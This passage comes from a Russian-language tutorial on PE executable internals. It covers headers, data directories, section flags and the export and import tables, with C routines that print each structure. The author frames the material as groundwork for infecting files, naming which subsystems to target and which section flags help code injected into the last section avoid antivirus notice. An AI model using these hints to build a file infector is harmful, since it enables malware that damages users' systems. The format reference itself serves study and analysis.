eax, dword ptr [esi+74h] adc eax, dword ptr [esi+78h] adc eax, dword ptr [esi+7Ch] adc eax, 00000000h add esi, 00000080h sub ecx, 00000080h jne func0_saltito6 func0_saltito2: test edx, edx je func0_saltito0 func0_saltito7: sub ecx, ecx mov cx, word ptr [esi] add eax, ecx adc eax, 00000000h add esi, 00000002h sub edx, 00000002h jne func0_saltito7 func0_saltito0: mov edx, eax shr edx, 10h and eax, 0000FFFFh add eax, edx mov edx, eax shr edx, 10h add eax, edx and eax, 0000FFFFh pop esi ret 000Ch end startWORD Subsystem;
Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:
Код (Text):
#define IMAGE_SUBSYSTEM_UNKNOWN 0 // неизвестная подсистема #define IMAGE_SUBSYSTEM_NATIVE 1 // приложению не требуется подсистема #define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // запускается в подсистеме Windows GUI #define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // запускается в подсистеме Windows character #define IMAGE_SUBSYSTEM_OS2_CUI 5 // запускается в подсистеме OS/2 character #define IMAGE_SUBSYSTEM_POSIX_CUI 7 // запускается в подсистеме Posix character #define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8 // приложение - драйвер Windows 9x #define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // запускается в подсистеме Windows CEПодсистема может быть только одна. Если подсистема CUI, то Windowsсоздает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI
WORD DllCharacteristics;
Поле никогда не используется. Может быть любым.
DWORD SizeOfStackReserve;
Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле.
DWORD SizeOfStackCommit;
Объем виртуальной памяти, выделяемой под начальный стек потока.
DWORD SizeOfHeapReserve;
Объем виртуальной памяти, резервируемой под начальный хип программы.
DWORD SizeOfHeapCommit;
Объем виртуальной памяти, выделяемой под начальный хип программы.
DWORD LoaderFlags;
Не используемое поле. Может быть любым.
DWORD NumberOfRvaAndSizes;
Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. ДажеконстантаIMAGE_NUMBEROF_DIRECTORY_ENTRIES вWINNT.H определенакак 10H. Так что размер опционального заголовка, скорее всего, будет E0Hбайт.
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:
Код (Text):
typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; //RVA директории DWORD Size;//Размер директории } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;</code></pre> <p>Вообще каждый элемент массива указывает на какую-либо структуру, например на таблицу импорта. Т.е. каждый элемент это информация о директории, каждая из которых несет собой определенную смысловую нагрузку. Определенный индекс в массиве соответствует определенной директории. Директория может быть секцией, а может и не быть секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта, то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов:</p> <p><code><pre> #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Директория экспорта #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Директория импорта #define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Директория ресурсов #define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Директория исключений #define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Директория безопасности #define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 //Таблица базовых поправок #define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Отладочная директория #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 //Данные специфичные для архитектуры #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA глобальных указателей #define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS директория #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Директория конфигурации при загрузке #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Директория Bound-импорта #define IMAGE_DIRECTORY_ENTRY_IAT 12 // Таблица импортированных адресов (IAT) #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 //Дескриптор delay-импорта #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime дескрипторСтруктура IMAGE_DATA_DIRECTORY содержит в себе RVAдиректории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.
Код (Text):
void printHeaders(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap); printf("#####File Header#####\n"); printf("Machine:%X\nNumber of Sections:%X\nTimeDateStamp:%X\nPointer to Symbol Table:%X\nNumber Of Symbols:%X\nSize Of Optional Header: %X\nCharacteristics:%X\n",pPE-»FileHeader.Machine, pPE-»FileHeader.NumberOfSections,pPE-»FileHeader.TimeDateStamp, pPE-»FileHeader.PointerToSymbolTable,pPE-»FileHeader.NumberOfSymbols, pPE-»FileHeader.SizeOfOptionalHeader); printf("#####Optional Header#####\n"); printf("Magic:%X\nMajorLinkerVersion:%X\nMinorLinkerVersion:%X\nSizeOfCode: %X\nSizeOfInitializedData:%X\nSizeOfUninitializedData: %X\nAddressOfEntryPoint:%X\nBaseOfCode:%X\nBaseOfData:%X\nImageBase: %X\nSectionAlignment:%X\nFileAlignment:%X\nMajorOperatingSystemVersion: %X\nMinorOperatingSystemVersion:%X\nMajorImageVersion:%X\nMinorImageVersion: %X\nMajorSubsystemVersion:%X\nMinorSubsystemVersion:%X\nWin32VersionValue: %X\nSizeOfImage:%X\nSizeOfHeaders:%X\nCheckSum:%X\nSubsystem: %X\nDllCharacteristics:%X\nSizeOfStackReserve:%X\nSizeOfStackCommit: %X\nSizeOfHeapReserve:%X\nSizeOfHeapCommit:%X\nLoaderFlags: %X\nNumberOfRvaAndSizes:%X\n", pPE-»OptionalHeader.Magic,pPE-»OptionalHeader.MajorLinkerVersion, pPE-»OptionalHeader.MinorLinkerVersion,pPE-»OptionalHeader.SizeOfCode, pPE-»OptionalHeader.SizeOfInitializedData, pPE-»OptionalHeader.SizeOfUninitializedData, pPE-»OptionalHeader.AddressOfEntryPoint,pPE-»OptionalHeader.BaseOfCode, pPE-»OptionalHeader.BaseOfData,pPE-»OptionalHeader.ImageBase, pPE-»OptionalHeader.SectionAlignment,pPE-»OptionalHeader.FileAlignment, pPE-»OptionalHeader.MajorOperatingSystemVersion, pPE-»OptionalHeader.MinorOperatingSystemVersion, pPE-»OptionalHeader.MajorImageVersion,pPE-»OptionalHeader.MinorImageVersion, pPE-»OptionalHeader.MajorSubsystemVersion, pPE-»OptionalHeader.MinorSubsystemVersion, pPE-»OptionalHeader.Win32VersionValue,pPE-»OptionalHeader.SizeOfImage, pPE-»OptionalHeader.SizeOfHeaders,pPE-»OptionalHeader.CheckSum, pPE-»OptionalHeader.Subsystem,pPE-»OptionalHeader.DllCharacteristics, pPE-»OptionalHeader.SizeOfStackReserve,pPE-»OptionalHeader.SizeOfStackCommit, pPE-»OptionalHeader.SizeOfHeapReserve,pPE-»OptionalHeader.SizeOfHeapCommit, pPE-»OptionalHeader.LoaderFlags,pPE-»OptionalHeader.NumberOfRvaAndSizes); }Работа с таблицей директорий
Код (Text):
void printDataDirectory(long hMap) { PIMAGE_NT_HEADERS pPE=static_cast«struct _IMAGE_NT_HEADERS *»NTSIGNATURE((long)hMap); PIMAGE_DATA_DIRECTORY DataDirectory=(PIMAGE_DATA_DIRECTORY)&(pPE-»OptionalHeader.DataDirectory); for (int i=0;i«pPE-»OptionalHeader.NumberOfRvaAndSizes;i++) { switch (i) { case IMAGE_DIRECTORY_ENTRY_EXPORT:printf("---Export Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress, DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_IMPORT:printf("---Import Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress, DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_RESOURCE: printf("---Resource Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_EXCEPTION: printf("---Exception Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_SECURITY: printf("---Security Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_BASERELOC: printf("---Basereloc Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_DEBUG: printf("---Debug Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_ARCHITECTURE: printf("---Architecture Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_GLOBALPTR: printf("---GlobalPTR Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_TLS: printf("---TLS Directory---\nRVA: %X\n%Size: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG: printf("---LOADCONFIG Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT: printf("---Bound-Import Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_IAT: printf("---IAT Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: printf("---Delay-Import Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; case IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: printf("---Com Descriptor Directory---\nRVA: %X\nSize: %X\n", DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break; } } }Таблица секций
Таблица секций – это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов . Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки, а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо «талантливые» программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях WindowsNTмогут использоваться много стандартных секций - .text(.CODE) – код программы, .bss– для неинициализированных данных, .rdata– данные только для чтения, .data – глобальные переменные, .rsrc– ресурсы, .edata – экспорт, .idata– импорт, .debug– отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:
Код (Text):
typedef struct _IMAGE_SECTION_HEADER { BYTE Name[8]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;Опишем по порядку эти поля:
BYTE Name[8];
Название секции.
Код (Text):
union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc;Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawDataвыровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то…здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.
DWORD VirtualAddress;
Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA.
DWORD SizeOfRawData;
Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла.
DWORD PointerToRawData;
Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении.
DWORD PointerToRelocations;
Не используется в исполняемых файлах. Может быть любым.
DWORD PointerToLinenumbers;
Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение.
WORD NumberOfRelocations;
Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым.
WORD NumberOfLinenumbers;
Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbersне используется, то может принимать любые значения.
DWORD Characteristics;
Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.
Код (Text):
// Секция содержит код #define IMAGE_SCN_CNT_CODE 0x00000020 //Секция содержит инициализированные данные #define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // Секция содержит неинициализированные данные. #define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // Эта секция отбрасывается когда программа уже загружена. // Важно, при внедрении отбросить этот флаг если он установлен для данной секции. #define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Секция является общедоступной или разделяемой. #define IMAGE_SCN_MEM_SHARED 0x10000000 //Секция является исполняемой. #define IMAGE_SCN_MEM_EXECUTE 0x20000000 // Данные секции можно читать. #define IMAGE_SCN_MEM_READ 0x40000000 // В секцию можно записывать данные. #define IMAGE_SCN_MEM_WRITE 0x80000000ФлагиIMAGE_SCN_MEM_EXECUTE иIMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию «или». Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristicsбудет выглядить следующим образом:
Код (Text):
80000000H + 40000000H + 00000020H = A0000020HЭто значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.
Работа с таблицей секций
Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.
Код (Text):
void printSectionHeader(long hMap) { PIMAGE_NT_HEADERS pPE=static_cast« struct _IMAGE_NT_HEADERS *» NTSIGNATURE((long)hMap); PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER) (pPE-»FileHeader.SizeOfOptionalHeader+(long) &(pPE-»OptionalHeader) ); for (int i=0;i«pPE-»FileHeader.NumberOfSections;i++) { printf("----------Section: %.8s----------\nVirtual Address: %X\nVirtual Size: %X\nSizeOfRawData: %X\n PointerToRawData: %X\nCharacteristics: %X\n",&(Section-»Name), Section-»VirtualAddress,Section-»Misc.VirtualSize, Section-»SizeOfRawData,Section-»PointerToRawData, Section-»Characteristics); Section++; } }Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.
Таблица Экспорта
Экспорт – механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLLобычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал – это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.
В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:
Код (Text):
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;DWORD Characteristics;
Это поле не используется. Может быть любым.
DWORD TimeDateStamp;
Это поле содержит дату создания файла. Может быть любым.
WORD MajorVersion; WORD MinorVersion;
Поля не используются. Могут быть любыми.
DWORD Name;
Это RVAASCIIZ-строки содержащей имя данного исполняемого модуля.
DWORD Base;
Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B,57B,58B и больше экспортируемых функций нет, то это значение будет 56B.
DWORD NumberOfFunctions;
Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу.
DWORD NumberOfNames;
Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам.
DWORD AddressOfFunctions;
RVA массиваадресовфункций. Адреса функций – это RVAточек входа каждой функции. Т.к. RVAв PE32 32-х разрядные, то это массив DWORD’ов.
DWORD AddressOfNames;
Это поле является RVAи указывает на массив указателей на строки. Строки – ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле.
DWORD AddressOfNameOrdinals;
RVA массиваслов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.
Как происходит экспорт
Самое важное поле в таблице экспорта – это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции – по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них – AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNamesсодержит RVAстрок с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:
Не забывайте, что имена функций могут быть представлены в двух версиях - ANSIи UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции. Для ANSIверсии в конце имени функции используется буква A, для UNICODE– W.
В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.
Передача экспорта
Иногда в одной DLLсодержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeapиз NTDLL.DLL.
Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот «адрес функции» является RVA-строки вида имя_библиотеки.имя_функции (например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить что функция является переданной.
Работа с таблицей экспорта
Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:
a) Поиск адреса функции по имени. Алгоритм выглядит так:
- 1) Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.
- 2) Использовать этот индекс как индекс в массиве AddressOfNameOrdinalsи получить значение в массиве.
- 3) Вычесть из полученного значения OrdinalBase.
- 4) Использовать полученный индекс, чтобы получить RVAфункции в массиве AddressOfFuncions
Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.
б) Поиск имени по ординалу
- 1) Взять ординал и сложить его с OrdinalBase.
- 2) Найти полученное значение в массиве AddressOfNameOrdinals.
- 3) Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.
Код (Text):
void PrintExportTable(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE(hMap); short NumberOfSection=pPE-»FileHeader.NumberOfSections; DWORD ExportRVA=pPE-»OptionalHeader.DataDirectory[0].VirtualAddress; PIMAGE_EXPORT_DIRECTORY Export=(PIMAGE_EXPORT_DIRECTORY) RVAtoOffset((long)hMap,ExportRVA); Export=(PIMAGE_EXPORT_DIRECTORY)((long)Export+(long)hMap); WORD* AddressOfNameOrdinals=(unsigned short *) RVAtoOffset((long)hMap,Export-»AddressOfNameOrdinals); AddressOfNameOrdinals=(WORD*)((long)AddressOfNameOrdinals+(long)hMap); DWORD* AddressOfNames=(unsigned long *) RVAtoOffset((long)hMap,Export-»AddressOfNames); AddressOfNames=(DWORD*)((long)AddressOfNames+(long)hMap); DWORD* AddressOfFunctions=(unsigned long *) RVAtoOffset((long)hMap,Export-»AddressOfFunctions); AddressOfFunctions=(DWORD*)((long)AddressOfFunctions+(long)hMap); WORD index; printf("%4s %-40s %s\n-------------------------------------". "----------------------------------\n","Ordinal","NameOfFunctions", "EntryPoint"); for (unsigned int i=0;i«Export-»NumberOfFunctions-1;i++) { index=0xFFFF; for (unsigned int j=0;j«Export-»NumberOfNames;j++) { if (AddressOfNameOrdinals[j]==(i+Export-»Base)) { index=j;continue; } } if ((AddressOfFunctions[i]»= pPE-»OptionalHeader.DataDirectory[0].VirtualAddress)&& (AddressOfFunctions[i]«= pPE-»OptionalHeader.DataDirectory[0].VirtualAddress+pPE -» OptionalHeader.DataDirectory[0].Size)) { if (index!=0xFFFF) printf("%4d |%-35s |Forw-»%s\n", i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap, AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap, AddressOfFunctions[i])); else printf("%4d |OrdinalOnly |Forw-»%s\n", i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap, AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap, AddressOfFunctions[i])); } if (index!=0xFFFF) printf("%4d |%-35s |%X\n", i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap, AddressOfNames[index]),AddressOfFunctions[i]); else printf("%4d |OrdinalOnly |%X\n", i+Export-»Base,AddressOfFunctions[i]); } }Таблица импорта
Импорт в PE-файлах – это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32.DLL, то вместо инструкции CALL используется инструкция JMPDWORDPTR [XXXXXXXX]. Адрес указанный как XXXXXXXXнаходиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:
Это очень удачное решение – хранить адрес функции в одном месте. Если DLLзагрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.
Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при чтении других авторов.
Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов - это первая вещь, которая действительно интересна.
Структуры и термины импорта
Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibraryвозвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе «Биндинг»).
Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива - нулевой. Каждый элемент соответствует DLL,из которой импортируют функции. Каждый элемент выглядит следующим образом:
Код (Text):
typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;Опишем поля этой структуры по порядку.
Код (Text):
union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) };Это поле содержит RVAмассива двойных слов. Каждый элемент этого массива является объединением IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.
DWORD TimeDateStamp;
Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStampобозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется «биндинг» (подробнее об этом ниже).
DWORD ForwarderChain;
Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение.
DWORD Name;
Имя DLL, откуда импортируются функции.
DWORD FirstThunk;
RVAмассива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.
В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IAT – importaddresstable). Вообще, т.к. массив OriginalFirstThunkне патчится загрузчиком, то только FirstThunkсчитается настоящей таблицей адресов импорта – IAT.
Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определено следующим образом:
Код (Text):
typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32;Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается, если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.
Если происходит импорт по имени, то двойное слово содержит RVAструктуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:
Код (Text):
typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; BYTE Name[1]; } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;WORD Hint;
Укороченный идентификатор точки входа.
BYTE Name[?];
Название импортированной функции.
Стандартный механизм импорта
